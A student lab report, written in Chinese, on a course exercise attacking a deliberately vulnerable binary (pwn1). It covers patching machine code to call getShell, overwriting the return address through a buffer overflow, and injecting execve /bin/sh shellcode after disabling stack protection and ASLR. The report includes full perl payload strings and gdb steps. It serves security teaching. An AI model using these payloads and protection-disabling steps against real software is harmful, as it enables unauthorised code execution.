實驗目的
本次實踐的物件是一個名為pwn1的linux可執行檔案。該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
實驗內容
- 掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼
- 掌握反彙編與十六進位制程式設計器
- 能正確修改機器指令改變程式執行流程
- 能正確構造payload進行bof攻擊
基礎知識
1.NOP, JNE, JE, JMP, CMP彙編指令的機器碼
(1)NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什麼也不做,僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
(2)JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75)
(3)JE:條件轉移指令,如果相等則跳轉。(機器碼:74)
(4)JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)
(5)CMP:比較指令,功能相當於減法指令,只是對運算元之間運算比較,不儲存結果。cmp指令執行後,將對標誌暫存器產生影響。其他相關指令透過識別這些被影響的標誌暫存器位來得知比較結果。
2.反彙編
(1)由已生成的機器語言(二進位制語言)轉化為組合語言的過程,也可以說是彙編的逆向過程
(2)在本次實驗中,我們在Linux環境下使用objdump反彙編工具對pwn1檔案進行反彙編
(3)反彙編指令objdump -d <檔名>
3.十六進位制編輯器
(1)十六進位制編輯器是用於編輯單個位元組資料的軟體應用程式,主要由程式設計師或系統管理員使用。Linux系統中可以使用多種十六進位制編輯器,在本次實驗中我主要使用xxd,xxd 是一個命令列十六進位制編輯器,可以建立二進位制檔案的十六進位制轉儲。
(2)%!xxd 進入十六進位制編輯模式
(3)%!xxd -r 切換回原模式
實驗過程
(一)直接修改程式機器指令,改變程式執行流程
首先我們輸入sudo su來獲取root許可權,然後透過輸入hostname zhaobingqian來改變終端名,在這裡我修改為自己名字的拼音全寫,開啟新終端後顯示修改成功。
透過共享資料夾(共享資料夾命名為kalilujing)將pwn1檔案下載至kali中並將pwn1檔案改名為pwn20222414,然後執行可執行檔案./pwn20222414
反彙編檔案objdump -d pwn20222414 | more
第一列為記憶體地址,第二列為機器指令、第三列為機器指令對應的組合語言。
觀察main函式發現,call 跳轉到了foo函式,而根據對pwn20222414檔案的執行測試發現,它只會簡單回顯任何使用者輸入的字串。根據實驗要求,我們需要修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。這裡就需要修改主函式,想辦法將call foo改為call getShell。因此,需要將call 8048491中的地址8048491修改為getShell的地址804847d。
偏移量=8048491-80484ba=-41。補碼錶示為0xffffffd7,與第二列機器指令中的0xd7ffffff相吻合。由此可知,要想呼叫getShell,偏移量為0804847d(getShell函式的首地址)-80484ba=-61=0xffffff3c顛倒為計算機儲存內容,為0xc3ffffff,即需要將0xd7ffffff修改為0xc3ffffff。
修改過程如下:
在終端輸入vi pwn20222414 ,開啟檔案後為亂碼
按esc鍵,輸入:%!xxd進入十六進位制編輯模式,使用/e8 d7快速找到需要修改的地址
修改地址,將d7改成c3,然後使用:%!xxd -r轉回原來亂碼格式,並使用:wq命令儲存退出;
反彙編objdump -d pwn20222414 | more檢視機器指令;
可以看到修改成功
輸入./pwn20222414顯示執行結果
成功獲取shell,即成功呼叫了getShell函式。
(二)透過構造輸入引數,造成BOF攻擊,改變程式執行流
首先安裝gdb,使用sudo apt update和sudo apt install gdb命令安裝gdb。安裝完成後輸入gdb,檢查gdb是否安裝成功。
在程式呼叫時,會建立一個棧幀,foo函式用於讀取字串。然而,系統只為該函式分配了28位元組的緩衝區,這使程式存在緩衝區溢位漏洞。透過向這個緩衝區輸入超出其限制長度的字串,可以覆蓋返回地址,並將其修改為指向getShell函式,從而實現攻擊目的。
根據之前的反彙編結果,程式正常執行時,call指令會呼叫foo函式,並在堆疊中壓入返回地址0x80484ba。
接下來,使用gdb除錯工具對檔案pwn2進行除錯,命令為gdb pwn20222414,以確認輸入字串的哪幾個字元會覆蓋到返回地址。透過這種方式,可以確定覆蓋返回地址的具體位置,進一步實現漏洞利用。
使用gdb對pwn20222414程式進行除錯時,輸入字串1111111122222222333333334444444412345678,然後使用命令info r檢視暫存器eip的值,發現輸入的1234(即十六進位制的0x34333231)被覆蓋到了堆疊上的返回地址。因此,我們只需將這四個字元替換為getShell的記憶體地址,就可以讓程式執行getShell函式。
根據之前的反彙編結果,getShell函式的記憶體地址為0x0804847d。將該地址替換為原來的返回地址位置,並將其輸入給pwn20222414,即可成功執行getShell函式。
將1234
替換為getShell
的地址0x0804847d
,我們需要構造如下字串:11111111222222223333333344444444\x7d\x84\x04\x08
。接下來,透過以下命令生成一個包含這些十六進位制內容的檔案:
perl-e'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
其中\x0a
表示回車。生成檔案後,使用十六進位制檢視工具檢視檔案內容,命令為:
xxd input
確認內容無誤後,使用以下命令將input
檔案中的字串作為可執行檔案的輸入:
(cat input;cat) | ./pwn20222414
透過這種方式,輸入字串將傳遞給pwn20222414
,從而實現對程式的控制。
成功獲取shell,即成功呼叫了getShell函式。
(三)注入Shellcode並執行
- 首先準備一個新的檔案pwn20222414-3
安裝execstack:
從網上查閱資料發現使用sudo apt-get upgrade命令無法安裝execstack
使用外部官網進行安裝步驟,官網連結為:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
安裝好後使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令進行解壓,最終安裝成功。(安裝execstack時應將檔案安裝到共享資料夾kalilujing中)
透過以下命令對pwn20222414-3
檔案進行設定:
設定堆疊可執行:
execstack -s pwn20222414-3
查詢檔案的堆疊是否可執行:
execstack -q pwn20222414-3
關閉地址隨機化:
echo "0" > /proc/sys/kernel/randomize_va_space
驗證地址隨機化是否關閉:
more /proc/sys/kernel/randomize_va_space
- 構造要使用的payload
Linux下有兩種基本構造攻擊緩衝區溢位的方法:
retaddr + nop + shellcode
nop + shellcode + retaddr
使用以下命令構造shellcode
的輸入(x1x2x3x4
是佔位符,後續將替換為注入shellcode
的地址,即foo
函式中返回地址的位置,這個地址需要我們接下來透過gdb
分析找到),並將其放入名為input_shellcode
的檔案中:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
輸入以下命令將input_shellcode
的輸入內容作為pwn20222414-3
的輸入:
(cat input_shellcode; cat) | ./pwn20222414-3
新開啟一個終端,輸入以下命令檢視pwn20222414-3
檔案的程序及程序號:
ps -ef | grep pwn20222414-3
可以看到,程序號分別為45421和45554,但是45421才是pwn檔案的程序號。
此後,再在這個新終端中使用gdb進行除錯,輸入gdb pwn20222414-3,來獲取foo函式中returnaddress的位置。
輸入命令attach 45421,輸入剛剛查詢的程序號
輸入命令disassemble foo,反編譯foo函式並進行分析
可以看到,ret的地址為0x080484ae,因此,在這裡設定斷點,繼續分析
輸入命令break *0x080484ae
在新終端輸入c,c表示continue繼續執行,繼續執行後,在老終端按一下enter鍵,否則新終端的continue將一直進行。
輸入info r esp檢視棧頂指標所在位置,如下圖可知棧頂指標所在的位置為0xffffd39c;
使用x/16x 0xffffd39c命令檢視該地址處的存放內容,可以看到,此處出現了我們之前注入的輸入0x01020304,這說明找的就是這個地址。
因此,棧頂指標地址再加4位元組,就是shellcode應該處於的地址,即0xffffd39c+4=0xffffd3a0。
現在進行shellcode的注入,將0x04030201換成上述我們計算出來的位置0xffffd3a0,且用機器儲存的方式,顛倒一下,重新進行輸入。在原終端中輸入perl -e 'print "A" x 32;print "\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,然後再輸入(cat input_shellcode; cat) | ./pwn20222414-3,將input_shellcode的輸入內容作為pwn20222414-3的輸入。
成功獲取shell,即成功呼叫了getShell函式。
(四)結合nc模擬遠端攻擊
實驗中需要用到兩臺虛擬機器,因此我重新安裝了一臺虛擬機器,直接克隆的原來的kali(透過查閱資料學習了克隆虛擬機器的方法)。兩臺虛擬機器的網路介面卡均設定為NAT模式
先使用ifconfig命令檢視兩臺虛擬機器ip地址,另一臺虛擬機器同理
主機1:模擬一個有漏洞的網路服務
-l 表示listen, -p 後加埠號 -e 後加可執行檔案,網路上接收的資料將作為這個程式的輸入。
主機2:連線主機1併傳送攻擊載荷
問題及解決方案
問題1:無法安裝execstack包,安裝之後顯示錯誤:沒有那個檔案或目錄
解決方案:透過從官網下載安裝包來解決這個問題,連結:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
同時應將安裝包安裝到自己設定的共享資料夾kalilujing下,否則會顯示沒有那個檔案或目錄。
問題2:完成過程(一)、(二)時均比較順利,但在做過程(三)時出現了很多問題
比如此時應該有兩個程序號,但只出現了一個,按照該程序號繼續進行後續的實驗,無法成功獲取shell
解決方案:透過多次嘗試,發現要在一個新終端裡輸入'ps -ef | grep pwn20222414-2',可能出現錯誤的原因是起初並未意識到要用新終端而直接在老終端中輸入了。
問題3:在做過程(三)時,在新終端、老終端中因為不知道該何時按enter鍵而導致出錯,比如在新終端輸入c時,c表示continue繼續執行,繼續執行後,要在老終端按一下enter鍵,否則新終端的continue將一直進行。再比如該圖中:
要在AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeeeeeoeeee1ePh//shh/bineepsee1Y後按一次enter鍵,不用一直按enter鍵至出現ls。
解決方案:仍然是多次嘗試,最終得出了正確的結果。
問題4:十六進位制計算錯誤,棧頂指標地址再加4位元組,計算shellcode應該處於的地址時計算出錯。
解決方案:在發現並未得到預期結果時,重新檢查了一遍,發現是計算出錯並及時修改了。
學習感悟、思考等
在本次實驗過程中,我深刻體會到逆向破解與緩衝區溢位攻擊的複雜性與細緻性。透過反彙編分析和機器碼的修改,我認識到技術基礎的準確性對於破解實驗的成敗至關重要,任何細小的計算誤差都會導致程式無法正確執行。在構造緩衝區溢位攻擊時,gdb除錯工具發揮了關鍵作用,使我能夠準確定位返回地址並實現漏洞利用。這讓我深刻理解了除錯工具在攻防實踐中的不可替代性。
實驗中遇到了各種各樣的小問題,也讓我意識到了在做攻防實驗時嚴謹細緻的重要性,任何一個微小的錯誤都可能導致無法出現預期的實驗結果。同時,起初在實驗時我也遇到了一些難以解決的問題,透過在網上查閱相關資料,詢問成功做出來的同學這些問題均順利解決。透過解決這些問題,讓我瞭解了有關網路攻防的相關知識,也在技術操作上有所提升,在問題解決、除錯分析和實驗環境適應等方面有了更深入的思考。從一開始面對實驗指導書時的無從下手,到獨立完成實驗,這次實驗不僅鍛鍊了我的技術能力,也培養了我在攻防實踐中面對挑戰時的耐心與細緻,總體來說本次實驗使我收穫頗豐。
參考資料連結:
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向與Bof基礎.md
https://wenku.csdn.net/answer/871zi41mfh
https://blog.csdn.net/wangmx1993328/article/details/108036920